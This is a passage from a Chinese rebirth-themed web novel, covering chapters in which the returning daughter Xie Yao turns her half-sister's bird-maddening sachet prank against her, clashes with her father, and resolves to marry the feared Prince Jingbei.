“大姐姐难道没有告诉你,不止是我住晚香院,母亲也要搬来这里,我与母亲多年未见,住在一起有何不可?” 谢窈眼神锐利,语气直白。 虽然她不恨谢宴,但不代表她对这个被养歪,事事维护孙姨娘与谢枝的弟弟有什么好脸色。 谢宴一愣。 谢枝只说谢窈占了她和孙姨娘的院子,没说母亲也要来。 那他日后向母亲请安时,也能顺便见见谢窈。 “没关系的,既然二妹妹想住,我和姨娘这就搬去西厢房,好歹母女俩能日日相伴。” 谢枝见谢宴看自己的眼神多了几分质疑,立即拿起包袱,声音带着哭腔,仿佛受了极大的委屈。 谢窈不在的日子里,谢宴维护谢枝,早已成了他的一种本能。 见谢枝哭了,谢宴反应过来时,已经把怀里的鸡丢掉,抓住谢枝的手臂。 “府里那么多房间,你住哪不好,非要占孙姨娘和大姐姐的?大姐姐身体娇弱,住惯了朝阳的屋子,孙姨娘住晚香院方便行事,她们如何住得了冷僻的西厢房?” 谢枝泫然若泣:“宴儿,二妹妹也是你的姐姐,你不要为了我和亲姐姐置气。” 谢窈:“你知道晚香院朝阳,位置好,怎么不知道母亲身体虚弱,常年住在偏僻的静竹轩?” “就算母亲要搬到晚香院,也不能跟你一起住。”谢宴咬牙。 谢窈:“为何不能?” “母亲喜欢独处,你……你离京九年,粗俗聒噪,会打扰母亲休息!而且你想住,分明是为了自己舒服!” 谢宴脱口而出后,想等她说什么,又有些后悔自己说的重话,皎白俊朗的脸涨得通红。 如果她想住得舒服,只要她开口,他的院子不是不可以给她。 在这个家,他和母亲是她最亲近的人,为什么她一回家,却要住外人的院里,理都不理他。 谢枝在一旁瑟瑟发抖,谢宴安抚道:“大姐姐莫怕,有我在,谢窈不敢欺负你。” 谢窈手臂轻抖,长刀上的布条陡然散落,露出五寸宽的冷冽刀身,泛着冰冷的寒意。 “对,我就是为了自己舒服。”她说。 谢宴闻到一股铁锈的气味,似乎是从刀上散发的。 他抿了抿唇,终于闷声妥协:“那你住我院子,我那里宽敞——” 谢枝忽然煽风点火地喊:“谢窈,你不能欺负宴儿,他可是你亲弟弟!” “我这人心善,只忍心欺负亲弟弟。” 谢窈霎时间出刀,朝少年脖颈砍去。 “不要啊——”谢枝尖叫着闭上眼,嘴角却悄然上扬起来。 谢宴浑身僵住,没有丝毫反抗,眼瞳瞪得很大。 也只有他看见谢窈突然凑近谢枝,将什么东西挂在了谢枝腰间。 谢窈与他对视,见他默不作声,这才淡淡地收敛了眼神。 这弟弟收拾收拾,大概还能要。 几人脚下的黑鸡扑腾着翅膀飞起来,扬起大片鸡毛,发出咕咕的声响。 片刻后,谢枝颤抖地睁开眼,便见那把长刀轻飘飘地搭在谢宴肩上。 一缕墨发削落,让人胆寒。 谢窈冷声道:“小废物。” 谢宴看着她,讨好地笑,少年俊朗凌厉的面容还残留着浅浅的绯色,好像被骂废物,对他来说是件值得高兴的事。 以至于谢枝扑上来,关切地问他有没有事,他都不想理会。 这时候,谢宴终于意识到,那个他小时候日日追逐的姐姐,回来了。 谢枝不甘地盯着谢窈,见谢宴居然露出一副怀念的模样,她更是心生恼怒。 这些年,谢宴像条狗一样跟在自己身后,一口一个大姐姐唤得亲热,没想到谢窈甫一回来,谢宴就忽略了自己! 忽然,那只鸡扑通扑通,落在谢窈脚下。 眨眼功夫,黑鸡“咯咯哒”地飞起来,气势汹汹地啄向谢窈。 谢枝心里一喜,急忙躲到谢宴身后。 “天啊,宴儿,你的斗鸡疯了,怎么要啄二妹妹,二妹妹快跑——” 她喊到一半,发现谢宴面无表情,谢窈神情淡定,连她身边的丫鬟都默不作声。 她默默地闭了嘴。 谢窈低头,在谢枝惊讶的目光中,一把擒住黑鸡双翅。 刚刚还发狂的黑鸡落在谢窈手里,霎时就不再挣扎,低头轻轻啄了啄她的手背,老实得像只鹌鹑。 谢窈舔唇,心里痒痒的,肚子有些饿了:“这么肥的鸡……” 忍冬看到这情景,挺了挺胸膛,哼了一声。 想用只鸡让少将军出丑,殊不知别说是只发狂的鸡,就算一匹狼,一只虎,少将军都手到擒来,然后化作盘中餐。 “等等,不要动追墨!”谢宴见谢窈一手提刀,一手擒鸡,想起小时候被她狂揍的邻居,急忙喊道。 谢窈:“你没看见它要啄我?” “那不是没啄到嘛!” 谢枝眼神闪了闪,也立即附和:“二妹妹,这鸡是宴儿重金买的斗鸡,是他心爱之物,既然你没事,就别杀它了。” 谢窈把鸡拎到自己面前,仔细观察一番,用看傻子的目光看她:“大姐姐有耳疾?我说要杀它了吗,我是在可怜它。” 谢宴愣了愣:“什么意思?” “可怜它一只等待下蛋的小母鸡,要每日被你折磨得当斗鸡。”谢窈说道。 “习武不行,连斗鸡遛狗都玩不明白,真是四体不勤,五谷不分,”说着,她语调玩味,“还有,大姐姐不是京中才女吗,居然也分不出公鸡母鸡?” 谢枝的脸一白。 谢宴听到熟悉的羞辱,嘴角上扬了些许。 意识到自己做了什么后,他立即板起脸,故作冷漠:“追墨明明是公鸡,我花了三两银子买的,看那红彤彤的鸡冠子,以后定然是鸡王,它——” 谢窈松开手:“还你鸡王。” 谢宴正要接住,谁知追墨离开谢窈就再次发疯,张开翅膀,横冲直撞地飞到院门口,与赶来的人撞个满怀。 “诶呦哎——” 第7章 把谢伯爷踹飞了 来的人是谢明安。 他想着谢窈如今攀附上了长公主,怕之后要她嫁给靖北王有什么问题,就亲自来叫谢窈参加接风宴。 “窈儿,快随为父一起去接——” 只见谢明安一脸慈父模样,还没说完,就被糊了满嘴鸡毛,差点踉跄着摔倒。 “咯咯哒!!!” “父亲小心——” 追墨暴躁啼鸣,谢枝又尖叫起来,忽然,谢明安感觉怀里一暖。 他极力甩掉追墨,手中,多了颗暖烘烘的鸡蛋。 “这是什么东西!”谢明安看见自己衣襟沾染的鸡毛与污垢,顿时大怒,一掌把鸡蛋摔在地上,气得双眼喷火。 谢宴看着地上一滩蛋清蛋黄,感觉精神很是恍惚。 谢窈说的没错,追墨是母鸡。 母鸡还在“咕咕咕”地叫着,谢明安脑子一热,环顾周围,就要夺谢窈手中的刀。 “孽禽,我宰了它!” 谢窈习武多年,身体有自己的警觉记忆。 何况,上一世临死前的情景刻骨铭心,杀她的人,就是谢明安手下的管事。 即便还未查清真相,谢明安也是她见到第一眼,就手痒多时的存在。 谢窈灵敏地后退半步,反手一记肘击,趁机又是一脚侧踢。 再来两脚侧踢。 再来三脚侧踢。 “啊——嘭!” 谢伯爷惨叫着被踹飞了出去,落在地上,发出沉闷的声音。 谢窈将长刀重新缠上布条,站在一旁,装若无辜。 “你……你……你……” 谢明安气喘吁吁地从地上爬起来,感觉胸口一阵气血翻涌,疼得说不出话。 眼前的谢窈身穿浅青金竹纹衣裙,乌发玉簪,双眸清冽。 与柔婉娴静的谢枝不同,谢窈的美恣肆张扬,极尽贵气夺目,哪里像北境苦寒之地长大的,比起京中贵女们也不遑多让。 然而就是她,刚刚把谢伯爷飞踹了。 周围的下人管眼观鼻,一个个不敢说话。 “伯爷,这是怎么了?!”孙姨娘跑过来,费力地把谢明安扶起来。 谢伯爷发冠歪着,衣袍上挂着鸡毛,官靴沾了蛋黄,和谢窈形成鲜明对比。 “还请父亲和姨娘不要责怪二妹妹,是弟弟的鸡发狂,冲撞了父亲,父亲要杀它,却被二妹妹误伤。”谢枝道。 “误伤?我看她是故意为之,竟敢对本伯出手!”谢明安平复着胸口,脸色发青。 谢窈:“我们健妇营的将士天生警觉,您贸然靠近夺刀,我没忍住,但您应该庆幸,女儿心善,没有顺手一刀宰了您。” “你!你个逆女!这么说,本伯还得谢谢你?” “不用谢。对了,父亲如此生气,是瞧不起健妇营吗?瞧不起健妇营就是看不起长公主,看不起长公主就是对陛下不敬。” 谢明安听到这话,欲言又止。 孙姨娘看了眼追墨:“算了伯爷,不过是场误会,二房家都到了,老夫人等的也有些时候了,咱们快去用膳吧,这可是专门给二小姐准备的接风宴。” 说着,她就要搀扶谢明安。 “你以为你有长公主撑腰,就能对自己的父亲下此毒手?本伯管教女儿,天经地义,你搬出健妇营和长公主也没用!” 谢明安一把甩开孙姨娘,眼神透着怒火。 他浑身都疼,听到接风宴,更是气不打一处来。 “如此粗蛮行径,还去什么接风宴?就是嫁入靖北王府也是给我谢家丢人!滚去祠堂罚跪,没有本伯的命令,就一直跪着!”谢明安咆哮起来。 他提到“靖北王府”四个字,让周围为之一静。 连谢宴都怔住了,脑中一片空白。 靖北王箫熠之,从前在大燕,是个能让小儿止啼的名字。 若说战功,他与大将军不相上下,而他的赫赫凶名,远胜大将军十倍百倍。 当年,皇帝刚刚登基,根基不稳,五位亲王同时叛乱,意图争夺皇位。 还是靖北侯的箫熠之领兵平叛,亲手斩杀四位亲王,还活捉了为首的睿亲王,又由他亲自监斩,将睿亲王府满门抄斩,杀得整个京师人头滚滚,血流成河,让无数人为之胆寒。 箫熠之凭借平定五王之乱的功绩,被加封为靖北王,他也是大燕唯一的异姓王。 连当今太后的儿子,如今也只是安平侯。 如此残暴可怖之人,却在两年前一场交战中意外受伤,双腿残疾。 从此,靖北王不仅令人畏惧,更是人人唯恐避之不及,偏偏皇上仍对他青睐有加,给他各种殊荣与特权。 原来二小姐回京,是要嫁给靖北王啊。 一时之间,下人们也不知该觉得她可怜,还是害怕了。 下人战战兢兢地问:“伯爷,那公子的鸡?” 谢窈勾着唇,转动手中的长刀,主动说:“交给我吧。” 谢明安暗暗看女儿的刀,心想这丫头如此张狂,肯定要杀了这只鸡。 他整了整衣襟,脸色阴沉:“晦气的孽禽,别让本伯再看见它!” “明安,你怎么样?” 忽然,一道微低的女声,在深秋的风中响起。 谢窈猛地回头,就见自己太久没见的母亲,搀扶着谢老夫人出现在院门口。 母亲穿着素净的衣裙,眉眼温婉柔和,仍是前世此刻的样子,却比年幼记忆里的样子苍老太多。 尤其是脸色苍白,微浓妆容也遮不住的憔悴。 母亲径直走到自己丈夫身边,一脸关切。 谢明安看都不看她一眼,仍旧怒火中烧,脸色阴沉。 孙姨娘把刚才发生的事讲了一遍。 谢老夫人“哎呦呦”地上前,捧着胸口,心疼地喊:“我的儿啊,我的心肝儿,你怎么摔成这个样子,为娘的心疼啊,还不快去给我儿找大夫!” 老太太转身看向“罪魁祸首”的谢窈,责怪道:“都怪你这丫头,刚回来就搅得家宅不宁,还伤了我儿!我要重罚你!” “谢窈,没听见你父亲的话吗,一点规矩都没有,滚去祠堂罚跪!”母亲听到老太太的话,身子僵了僵,忽然斥道。 没等谢窈回话,她就疾言厉色地吩咐自己身旁丫鬟:“还不带二小姐去祠堂!” 第8章 香囊有问题,庶姐自食恶果 一行人围在受伤的谢明安身边,嘘寒问暖。 谢窈却专注地凝望着母亲,心里格外酸涩。 前世,她一直不懂,母亲为何对回京的她漠不关心,甚至冷言冷语,没有半点温情。 她还曾向陆慎言抱怨过。 直到谢宴来报丧时说,母亲临死都挂心她在陆家的处境,把自己身下田庄铺子,全留给了她。 甚至…… 只有母亲,是谢家真正在乎她的人。 可她却被谢家葬送了一生。 谢窈听母亲的话,并没有解释反驳,示意忍冬抱起缩在角落的追墨,便跟着丫鬟离开。 临走前,她眉梢轻挑,意味深长地瞥向谢枝。 可惜,等会儿不能看一场好戏了。 直到众人散去,谢宴还站在远处,望着谢窈离去的方向。 “她回来,是嫁给靖北王的。”谢宴低声喃喃,心里酸涩又恼怒。 前些日子京中有传言,皇上要为靖北王赐婚,说是看中了他家。 但是,他以为那只是传言,毕竟父亲谢明安虽然有文昌伯的爵位,但只是个四品的礼部侍郎,与靖北王从无交集。 他九年未见的姐姐回来了,他以为是回京享福,没想到,是要姐姐嫁给一个声名狼藉,身体残疾的男人。 谢宴身侧的手死死攥成了拳头。 书童阿禄凑上前,道:“追墨落到二小姐手里,恐怕凶多吉少。” 谢宴面色淡漠,仿佛并不担心。 忽然,他想起谢窈似乎是把什么东西,放到了谢枝身上。 他脑子笨,不懂谢窈要做什么,但隐隐猜到或许与追墨有关。 “不行,那是我的鸡。”谢宴让阿禄附耳过来,交代几句,才前往饭厅。 另一边,谢窈去祠堂之前,换回了自己原本的衣裳。 到了祠堂,丫鬟端来一个青铜炭盆后,便匆匆离开。 这丫鬟是母亲的人,专门为她准备了炭盆。 只是,前世她根本没有注意到这些细节,面对职责,只以为母亲也和别人一样讨厌她,认为她行为粗俗,不懂规矩。 谢窈横刀立马地坐在蒲团上,睨视着前面一座座谢家先祖牌位,眼底燃起幽火。 忽然,她余光看见一道鬼鬼祟祟的人影。 谢窈开口:“祠堂重地,这鸡吵闹,打扰了祖宗安宁,把它拿走吧。” 忍冬见少将军对她眨眼睛,懂了,转身把追墨丢到祠堂外的空地上,又故意离开了一会儿。 片刻后,忍冬跑进祠堂,一脸焦急:“二小姐,奴婢去更衣的功夫,那只鸡不见了!” 谢窈挑了挑眉,故作惊讶地说:“怎么会不见了,那可是谢宴的鸡啊,名贵着呢,你快去找找!” 忍冬离开,谢窈微微一笑。 既然把鸡偷走了,那之后会发生什么,就和她没有关系了。 接风宴上,谢宴食不知味地坐在谢枝旁边。 父亲换了衣袍入席,祖母和蔼地为他夹菜,孙姨娘关心地询问母亲最近身体如何,母亲一如既往的寡言,还有二叔二婶其乐融融…… 可就是没有接风宴的主角,谢窈。 谢宴闷闷不乐地吃着,直到听见一声熟悉的“咕咕”。 他低下头,见追墨出现在自己脚下,啄地上的米粒。 远处书童朝他露出讨赏的笑,示意他鸡没事。 谢宴舒展眉头,露出往日清朗灿烂的笑:“大姐姐你看,我家追墨回来了。” 谢枝顺着他的视线看见追墨,眼中一闪而过嫌弃,嘴上却柔声附和:“回来就好,我还担心二妹妹不会养它,伤了你的心头好。” 谢明安瞪了谢宴一眼:“不是交给谢窈那丫头了吗,怎么你又要了回来。” 孙姨娘:“宴儿喜欢,他养着又如何,何况这只鸡素来乖巧,没想到今日面对二小姐会那么闹腾……” 谢家没有分家,二房家的谢二爷与妻子对视后,附和道:“都说鸡是祥瑞之物,怎么会无缘无故啄人,还伤了大哥呢。” 二房夫人:“那鸡在宴儿手里好好的,怎么二小姐一回来,就忽然不好了?” 谢老夫人常年吃斋念佛,信奉鬼神之说。 稍加引导,她就想到了什么,皱起眉:“难不成那丫头不吉利,鸡才会啄她?不行,等大夫来了,要好好看明安的伤势。” 谢枝道:“枝枝听说,健妇营的女卒们战时为兵,闲时务农,或许是二妹妹平时也在农家喂鸡,这鸡看她亲切。” 谢老夫人冷笑:“我谢家几代书香门第,钟鸣鼎食之家,到底是商贾人家生出的丫头,比不上枝枝半分。” 谢宴握停箸的手一顿,歪头看向母亲。 母亲面色如常,仿佛没听出谢老夫人口中的讥讽。 他眼中涌起的晦暗慢慢散去。 谢枝则露出乖巧的笑,刚要谦虚,下一刻,脚下的追墨振翅而起,猛地啄向她! “啊!” 谢枝脚踝一疼,吓得惊叫起来,就见那只被谢宴养得油光水滑的母鸡,正伸长脖子,狠命啄她的裙摆和腰间。 谢枝衣袖略宽大,被鸡追着啄,顿时将旁边的碗碟打翻,发间翠簪都歪了,还扣了一身油腻饭食。 她左躲右闪,结果裙摆又不知道勾在了哪里,“啪叽”摔倒在地。 追墨趁机跳到她膝头,对着她一阵猛啄。 “这鸡,这鸡到底怎么回事!”谢老夫人大喊道。 “还不快把鸡抓住!” 鸡被下人们追赶,扬起漫天鸡毛,仍旧逮着谢枝不放。 孙姨娘也方寸大乱,她想冲上前护住女儿,慌乱之余,她终于看见谢枝腰间悬挂的墨绿色香囊! “枝枝,快把——”孙姨娘明白过来,正要喊谢枝摘下,却又硬生生闭了嘴。 这香囊,不是她和谢枝,为谢窈准备的吗? 至于谢窈是什么时候把香囊挂在谢枝身上的,她竟然一无所知。 如今若说出来,追墨啄人是因为这枚香囊有问题,岂不是代表她这个做姨娘的对嫡女暗中使坏? 孙姨娘心中暗恨,只能说:“追墨是斗鸡,肯定是受了枝枝藕粉色的衣裳的影响,才如此发狂。” 折腾了一炷香,最后是谢宴这个主人抓住追墨。 他把鸡塞给自己书童,使了个眼色。 书童抱着鸡跑了,没过半刻钟,下人说为伯爷看诊的大夫到了。 谢枝花容失色地瘫坐在地上,披头散发,被孙姨娘抱着宽慰。 “这就是你安排的家宴,真是扫兴!”谢明安斥了孙姨娘两句,脸色铁青地拂袖而去。 谢老夫人也埋怨:“好端端一顿家宴,被只鸡搅和了,这才叫真正的不吉利,不吉利啊。” 谢枝把香囊攥在手里,倒在孙姨娘怀中,哭得梨花带雨。 祠堂内,谢窈听完隔壁院那鸡飞狗跳的吵闹声,轻柔地抚摸追墨热乎乎的羽毛,唇角扬起一抹笑容。 “这鸡不是丢了吗,怎么又回来了?” 忍冬找了一圈回到祠堂,没想到鸡就在谢窈手里。 “对了,刚才外面好大的热闹,听说有只鸡追着枝姑娘啄,差点把枝姑娘脸啄伤——” 她忽然反应过来:“不会就是它吧!” 谢窈点头:“除了它,还有别的鸡吗。” “二小姐早就知道鸡会啄人……不对,鸡怎么光啄谢枝?” 第9章 谢伯爷送饭,这么好心? 谢窈漆眸锐利深邃,解释道:“因为那枚香囊。” 忍冬回想起来香囊的气味,恍然大悟: “原来如此,如今想想,香囊的味道是藤禽草,医书典籍记载,藤禽幽香,对人无毒,但能使禽类狂躁。” “孙姨娘和枝姑娘这对母女,是想让您在众目睽睽之下出丑!” 谢窈点头,又说:“不止是香囊,那身衣裳也有问题。” 前世在接风宴上,因为忍冬不在,她小心谨慎,并未佩戴香囊。 未曾想追墨还是扑向她,因为除了香囊,孙姨娘给她准备的衣裳也早就熏染了香料气味。 她失手折断追墨的翅膀,传出了不详的名声。 而这次,她擒住追墨之后,不但没伤到鸡,还悄悄将香囊“还给”了她的大姐姐。 然后,谢窈故意跟谢明安要走了鸡,她猜谢宴一定会来偷。 追墨也争气,在宴席上把谢枝狠狠啄了一顿。 “如此一来,鸡是宴少爷的,与二小姐无关,香囊则是枝姑娘和孙姨娘给二小姐准备的,她们什么也没法说。这就叫偷鸡不成蚀把米。” 忍冬眉飞色舞地说:“奴婢还以为您回京后要处处忍让吃亏呢,没想到……二小姐果然还是最厉害的少将军。” 入京之前,二小姐说她以后要听从父母之命,从此贤良淑德,忍冬还担心以后会不会被欺负。 如今看来,是不必担心了! 忍冬还想问二小姐,是否真要遵从谢伯爷的话嫁给靖北王,但到底是没问。 她相信二小姐心里已经有了主意,无论如何,自己遵循便好。 谢窈弯眸道:“你才回京第一天,谁也不认识,见到别人吃瘪,倒是比我还高兴。” “奴婢就是看不惯孙氏和枝姑娘那副惺惺作态的样子,说什么专门给二小姐准备的衣裳,伯夫人才是伯府主母,用得着她吗。” 忍冬叉着腰,一脸愤懑不平:“何况,她们母女俩就是包藏祸心,心怀不轨!” 谢窈望着她。 从前,谢窈觉得忍冬被自己带得过于暴躁,这样不好,还叮嘱她收敛些脾气。 可现在看她如此鲜活,谢窈觉得没什么不好的。 她还活着,她们都要好好活着,肆意自在地活着。 忍冬说起孙姨娘来疾言厉色,但涉及煎药换药,却变了一个人的细致耐心。 她把围着谢窈“咕咕”叫的追墨赶走,找了个角落,认真煎好伤药,端着药走进祠堂,又麻利地拿出药膏。 “折腾了半天,您该换药服药了。” 谢窈是带伤回京的,前世忍冬不在,她的伤落下了病根,后来又中毒,武功就彻底废了。 但如今,她发现自己肩胛处的箭伤已经结痂,感觉身体几乎处在巅峰期,强得可怕。 捏着鼻子喝完药,谢窈摸了摸自己微瘪的小腹。 忍冬:“二小姐是饿了吗?刚吃完药不能吃东西。” 谢窈:“没事的,我一点也不饿。对了,那什么时候能吃呀?” “……再过半个时辰,奴婢就去给您找些吃食。” “吃食?”谢窈含着忍冬给的蜜饯不舍得一口吃掉,闻言,眼睛忽然发光。 “你知道的,边境多苦多累我都不说,如今刚回京,随便吃些就行,比如佛跳墙啦鱼翅啦肥鸡肥鹅啦……” 她看着忍冬欲言又止的神色,声音越说越低。 “没有山珍海味,母亲亲手做的玫瑰糕,蛋羹呀,云鹤楼的果木烧鸡,狮子头也行,还有以前不让我吃的桂花糖,我都这么大了,总不会生龋齿……” 忍冬:“二小姐别忘了,您现在可是罚跪着祠堂呢,有的吃就不错了,奴婢最多给您去厨房摸几个冷馒头。” 谢窈闷闷地说:“馒头也很好吃了,要么我自己去吧。” 她不挑,从前在军中什么都吃过,只不过遇见好吃的,更是来者不拒。 “哒哒——” 微弱的脚步声传来,忍冬迅速将药碗收起来,跪在旁边。 片刻后,之前送她们来祠堂的丫鬟出现在门口,手臂挎着方精致的檀木食盒。 “这是?”谢窈猜到了是什么,但还是问道。 丫鬟神情如常,道:“奴婢奉伯爷的命令,给二小姐送些吃食,伯爷说只是罚跪,可以用膳,还望二小姐注意身体。” 忍冬接过食盒,惊讶道:“伯爷居然这么好心。” 谢窈黑眸微凝:“不管是谁送的,都替我多谢她。” “是,”丫鬟应道,“那二小姐慢用,奴婢明日送早膳时会取走食盒。” 谢窈不经意地问:“对了,你叫什么名字?” “奴婢唤作桑若。”丫鬟回道。 谢窈叫住桑若,指向外面那只鸡:“原来是桑若姑娘,我有件事要劳烦你。” 等桑若离开,谢窈揭开食盒的盖子,上层一只金黄喷香的果木烧鸡,两张烤饼,下层还有包桂花糖,玫瑰糕,两碗蛋羹。 “这些都是我小时候爱吃的。” 忍冬:“没想到谢伯爷还记得二小姐爱吃什么,难道奴婢错怪伯爷了?” “蛋羹还有玫瑰糕,是母亲亲手做的,”谢窈看着中间点缀着几枚枸杞的蛋羹,眼眶发酸,认了出来,“母亲都还记得。” 前世她被罚跪祠堂,却那么糊涂,吃着母亲送来的饭食,居然真以为是谢明安送的,心中十分感动,还埋怨母亲不关心自己。 “既然是伯夫人为二小姐准备的,为何要假借谢伯爷之名?”忍冬不解。 谢窈将桂花糖仔细包好,收到怀里,以后可以慢慢吃。 剩下的分了一半给忍冬,她摇了摇头,眼神锐利起来。 母亲,一定有她的苦衷。 而这苦衷,就是她要弄明白的事。 入夜后,谢家祠堂偌大,即便关了门,也有寒风从门缝溜进来。 幸好有母亲准备的炭盆,炭块燃烧,发出细碎的“噼啪”声响,散发着阵阵温暖。 忍冬吃得不多,靠着谢窈睡着了。 她只是军中女医,没有武艺傍身,这段时日赶路早已疲惫不堪,此刻睡得很沉。 谢窈还在啃烧鸡,忽然,她停下手,眼神一凛。 外面,有人靠近! 第10章 本王就喜欢粗俗野蛮的 谢窈警觉地抄起刀,侧耳倾听。 片刻后,她猜到了来人的身份,默默地松开握刀的手。 “咯吱”,祠堂的木窗开了一道缝。 谢窈撕着鸡腿,平静地啃。 “啪叽!” 油纸包从窗户缝隙丢进来,滚到她身旁。 又是一个油纸包被丢进来,从中掉出枚雪白的馒头。 谢窈仍旧不为所动。 窗外的人小声嘀咕了几句,推开了门。 下一刻,她和蹑手蹑脚的弟弟四目相对。 “你醒着?醒着为什么没有反应!”谢宴压低声音质问。 谢窈:“你想要什么反应,大喊捉贼?” 谢宴嘴角一抽:“你以为我是贼?亏我还……” 谢窈看着地上的馒头,勾起唇,故意问道:“亏你什么?” “什么都没有!”谢宴冷哼一声,“我路过厨房,看见几个剩馒头,想喂追墨而已,不过,你要是吃,我也可以给你。” 谢宴又强调:“你不要误会,这个馒头才不是我从后厨特意给你偷来的,是我随便拿来给追墨的……诶,我的追墨呢?” 谢窈扬了扬手里的鸡腿,唇边漾起笑意,亮晶晶的黑眸被烛火染成琥珀色,漂亮而危险:“你猜。” 谢宴这才发现旁边的食盒,还有那只剩三分之一喷香烧鸡。 他猛地想到一个可怕的可能,瞳孔震动:“这烧鸡是……追墨?” 谢窈咳了咳,抬起手,轻拍谢宴毛茸茸的头发,仿佛在安慰他:“其实追墨——” 她正要解释,谢宴吸了吸鼻子,平静地问:“好吃吗?” 谢窈以为他会为追墨幼稚的生气,但在他心里,那只鸡既然送给谢窈,就是她的,她要吃要养,他都不介意。 只是,如果生气能换来姐姐安慰,他愿意一直幼稚。 谢窈点头,实话实说:“好吃。” 谢宴掏出油纸包里的馒头,闷声啃起馒头。 他不过是个十五岁的少年,肤色白皙,眉骨锐利但还透着稚嫩,眼眶在灯火映照下,似乎泛着红。 谢窈也不是多心狠的人,她犹豫了很久,撕下一条鸡肉:“不是我小气。对了,你来一口吗?” 谢宴红着眼接过这条鸡肉,没想到谢窈抓得很紧,他用力才抢到手里。 “我不怪你,追墨啄了父亲和大姐姐,还差点伤了你,它肯定会死,只是没想到……” 谢窈好奇地问:“没想到什么?”没想到它死得这么快? 虽然只有一口,但谢宴吃得很香:“没想到它这么好吃。” 谢窈:“……” 谢宴分到一只鸡翅,啃了很久,最后也没发觉这只鸡不是他的追墨。 夜色渐深,谢窈吃了个谢宴带来的馒头,又吃完饭盒里所有的吃食,谢宴还是磨磨蹭蹭地不走。 “还有事?”谢窈问道。 “快入冬了,夜里——” “我有炭盆。” “祠堂没有床榻——” “我是罚跪,不是睡觉。” “你真的想——” 谢宴犹豫了,最终没有问谢窈究竟想不想嫁给靖北王。 他眼神闪了闪,忽然想起一个人。 就算那人也没有多好,但比起靖北王,至少四肢健全…… 次日,除了丫鬟桑若前来为谢窈换新炭,又带来新的饭食。 一整天,再没有人来到谢家祠堂。 谢窈仿佛被忘在这里,无人问津,也无人看管。 于是,她起身在祠堂练起了刀。 一套刀法打下去,疏松了筋骨,也找回几分自己以前在军中的感觉。 忍冬溜出去,查看两圈得知,看诊大夫说谢伯爷伤势严重,骨头差点断了。 谢明安气得不顾孙姨娘求情,下令让谢窈在祠堂跪满三天三夜,还不许吃饭。 “三天啊,他也不怕三天后圣旨到,谢家给靖北王一个快饿死的王妃。” 谢窈刀锋指着谢家老伯爷,也就是她祖父的牌位,眼中杀意翻涌,唇角噙着冷笑。 前世,谢窈回京三日后迎来圣旨赐婚,和圣旨一起来的,还有箫熠之。 她当众拒婚,说自己已经有了心仪之人。 因为圣旨只提谢家女儿,并未明确指自己还是谢枝,所以她不算抗旨。 反而是箫熠之回头进宫面见皇帝,扬言若非所爱,则终身不娶,才是真正的抗旨不遵。 忍冬没问谢窈怎么知道圣旨要来了,只是想起入京时,她们在城门口遇见的陆慎言。 那位公子是二小姐儿时玩伴,生得一副好皮囊。 二小姐曾说过,她最喜欢话本里的才子佳人,俊秀书生,而陆公子就是那样的人。 她忍不住道:“二小姐若实在不愿嫁给靖北王,或许可以联络那位陆公子。” 谢窈淡淡地说:“谁说我不愿嫁给靖北王?” 她看着忍冬欲言又止的模样,话锋一转,问道:“给谢伯爷看伤的,是哪家大夫?” 忍冬回答:“济安堂,是经常给京中高门大户把脉看诊的医馆。” 谢窈目光微凝。 济安堂,就是前世忍冬就医而亡的医馆。 “谢伯爷的伤十天半个月也好不了,大夫肯定还要来复诊,若有机会,你去瞧瞧,济安堂的大夫除了给他看病,来伯府后还会去哪里。” “奴婢知道了。” 谢窈这才道:“靖北王妃,我非当不可。” 忍冬眨了眨眼睛:“可是,您昨天踹飞门房,徒手抓利箭,还有误伤伯爷的事,已经在京中传遍了,别人都说您粗俗野蛮,配不上靖北王。” “箫熠之名声很好吗?”谢窈道。 “说不定,他就喜欢粗俗野蛮的呢。” 此刻,靖北王府,御医正在为箫熠之诊脉。 萧家是燕国开国功臣,世袭罔替侯爵,老靖北侯与先帝是结义兄弟,如今的箫熠之更是有从龙之功,与皇上也情同手足。 自从他两年前受伤后,皇帝一直关心他的身体,时常派御医前来看望。 御医诊脉后,宽慰几句“王爷身体康健,与上月并无不同”,便离开了王府。 身为医者的老管家知道王爷心中沉郁,低声道:“王爷可知,昨日京中的文昌伯府,发生了一件新鲜事。” 箫熠之阖上眼,脑海中一闪而过昨日那双清亮锐利的眼睛。 “本王知道,那位谢二小姐,徒手抓住了一支利箭。”他唇角衔着浅笑。 “什么,徒手抓箭?”管家一怔。 “没什么。”箫熠之面色转冷。 管家摸了摸胡须,笑道:“老奴还没说谁,王爷怎么就提起谢家二小姐了……不过,老奴要说的,也确实与谢二小姐有关。” 箫熠之竖起耳朵,没有言语。 “昨日谢家嫡出的小公子,纵容斗鸡啄了谢家大姑娘,二小姐又误伤了自己的父亲谢伯爷,说是伯爷差点身受重伤。” “难怪今日,谢明安告假未曾上朝。”箫熠之的唇角悄然上扬。 管家又道:“王爷放心,谢二小姐如今风评恶劣,陛下赐婚,定然是会选择温婉贤淑的谢家大姑娘。” 箫熠之蓦地睁眼,桃花眸漆黑如墨。 “本王不放心,”他支撑着身子坐起来,面色平静,“备车。” “王爷是要进宫?”管家连忙问。 “王爷,就算您嫌谢二小姐粗俗野蛮,也不稀罕那位大姑娘,咱们让老夫人去说,何至于要亲自去拒婚……” 王爷双腿不能行走这两年,进宫的次数一只手都数得过来。 连之前皇上口谕要为王爷赐婚,王爷都没有面圣谢恩,如今为了拒婚,竟然要进宫了。 不过,娶妻毕竟是终身大事,王爷如果不愿意,任何人都没奈何。 “谁说本王要拒婚。”箫熠之看了管家一眼,淡声道。 “本王,就喜欢粗俗野蛮的。” 第11章 家贼?孙姨娘说是误会 深夜,祠堂内炭火温暖。 忍冬又靠着祠堂的柱子熟睡,脚步声再次传来。 谢窈睁开眼:“谢宴这小子吃烧鸡吃上瘾了?” 她正要开门,忽然听出声音不太对劲。 ——这不是谢宴的脚步声。 谢窈和衣躺下,装作侧靠供桌睡着的样子。 许久,祠堂的门被推开。 月辉如水银倾洒,一名陌生小厮,蹑手蹑脚地遛进来。 小厮屏息环视祠堂,见谢窈与忍冬仍在熟睡,才将紧绷的那口气缓缓吐出。 他定了定神,贴着墙根绕开谢窈,直奔角落的炭盆,抱起炭盆边缘,头也不回地闪出祠堂。 这是想让她受一晚上的冻? 装睡的谢窈眯着眼睛,她看清了小厮偷炭盆的全过程,发出嗤笑。 这般愚蠢幼稚行径,也只有自己那位大姐姐做得出来。 小厮刚走出祠堂,谢窈便轻飘飘地翻身而起,跟了上去。 只见他手脚麻利,抱着炭盆熟练地绕过两名守夜下人,跑到后花园假山的角落。 